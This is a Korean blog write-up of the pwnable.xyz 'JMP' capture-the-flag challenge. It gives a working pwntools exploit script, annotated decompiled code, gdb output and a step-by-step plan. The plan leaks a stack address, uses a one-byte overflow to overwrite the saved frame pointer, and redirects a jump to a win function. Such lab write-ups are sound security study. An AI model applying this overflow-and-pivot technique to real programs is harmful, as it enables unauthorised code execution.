from pwn import *
p = remote("svc.pwnable.xyz", 30012)
# p = process("./challenge")
p.recvuntil("> ")
p.send("3")
main_rbp = int(p.recvline()[:-1], 16) - 0xf8
print(hex(main_rbp))
fake_rbp = (main_rbp+0x9)&0xff
real_rbp = main_rbp&0xff
p.recvuntil("> ")
pay = '119'+' '*0x1d+chr(fake_rbp) # 0x77 = 119
p.send(pay)
p.recvline() # Invalid
p.recvuntil("> ")
pay = '1'+' '*0x1f+chr(real_rbp)
p.send(pay)
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int8 int8; // al
__int64 v5; // [rsp+30h] [rbp-10h]
void *v6; // [rsp+38h] [rbp-8h]
setup(argc, argv, envp);
v5 = gen_canary(); // 랜덤한 8byte 저장됨
puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n");
v6 = &loc_BA0; // lea rdi, (Jump jump~ 문자열 주소) 하는 명령어의 위치
while ( 1 )
{
print_menu(); // return puts("Menu:\n1. J-U-M-P\n2. How high\n3. Ya you know me");
printf("> ");
int8 = read_int8();
switch ( int8 )
{
case 2u:
// v6의 하위 4byte만 가져와서 2와 xor 연산하고 다시 8byte 형태로 v6에 넣는다..
v6 = (void *)(int)((unsigned int)v6 ^ int8);
break;
case 3u:
// .bss 영역의 environ (0x202100) - canary는 0x108 떨어진 .bss 영역의 0x202208에 있음
// 스택 주소 leak 가능하다~
printf("%p\n", (const void *)environ);
break;
case 1u:
if ( v5 == canary )
// mov rax,QWORD PTR [rbp-0x8]
// jmp rax ; 어셈블리 상에선 이렇게 되어있음. v6 주소로 Jump 한다는 뜻이네
__asm { jmp rax }
break;
default:
puts("Invalid");
break;
}
}
}
__int64 gen_canary()
{
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom.");
exit(1);
}
// 전역변수 canary에 랜덤값 읽어옴
if ( read(fd, &canary, 8uLL) != 8 )
{
puts("Can't read data.");
exit(1);
}
close(fd);
return canary;
}
int read_int8()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
// BOF 발생! 카나리 없다면 saved EBP 1byte 조작 가능
read(0, buf, 0x21uLL);
return atoi(buf);
}
- environ 포인터는 libc 내부에 존재하며, 스택의 environ을 가리킨다
- 스택의 환경변수 위치와 RET addr 간의 offset은 0xf0이다
- environ addr - 0xf8 = main rbp 위치
pwndbg> p/x 0x7fffffffdf18-0x7fffffffde20 ; leak된 environ 값 - rbp
$4 = 0xf8
* 사실 저 배경지식이 없어도 gdb로 열어서 vmmap 확인해봤을 때 environ 값과 main_rbp는 동일한 섹션에 들어있었고, 직접 offset 구해도 된다 (PIE, ASLR 걸려있어도 offset은 일정)
- v6의 마지막 바이트만 조작하면 된다 (PIE가 걸려있어도 마지막 3자리는 일정)
0xba0 <main+22>: lea rdi,[rip+0x1a1] # 0xd48
0xb77 <win>: push rbp
how?
처음엔 option2의 xor 연산 이용할까 했지만, 아무리 생각해도 방법이 안나옴
- int8 에 read_int8()로 값 저장하는 루틴에 답이 있다 (al -> 스택임시저장 -> 다시 eax 레지스터로)
0x000055e76fffebcd <+67>: call 0x55e76fffeab6 <read_int8>
0x000055e76fffebd2 <+72>: mov BYTE PTR [rbp-0x11],al
0x000055e76fffebd5 <+75>: movzx eax,BYTE PTR [rbp-0x11]
- rbp-0x11에 read_int8 리턴값 1바이트 저장
- main 함수의 지역변수 (v5,v6)들은 rbp 기준으로 값 가져오므로 rbp 조작 시 예상치못한 동작 할 수 있다
<exploit 계획>
1. 3 입력해 stack addr leak. rbp 위치를 구한다
2. int8 = read_int8() 에서 rbp 조작한다, 리턴값은 0x77로 만들어 v6 한바이트 조작한다
[rbp-0x11]이 [rbp-0x8] 가르키게 만들어야하니까 현재 rbp+0x9로 조작한다
3. int8 = read_int8() 에서 rbp 다시 원복한다, 리턴값은 1로 한다
4. JUMP가 이루어지면서 win() 실행된다
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - iape (0) | 2023.02.15 |
---|---|
pwnable.xyz - strcat (0) | 2023.02.12 |
pwnable.xyz - SUS (0) | 2023.02.09 |
pwnable.xyz - fspoo (0) | 2023.02.09 |
pwnable.xyz - l33t-ness (0) | 2023.02.07 |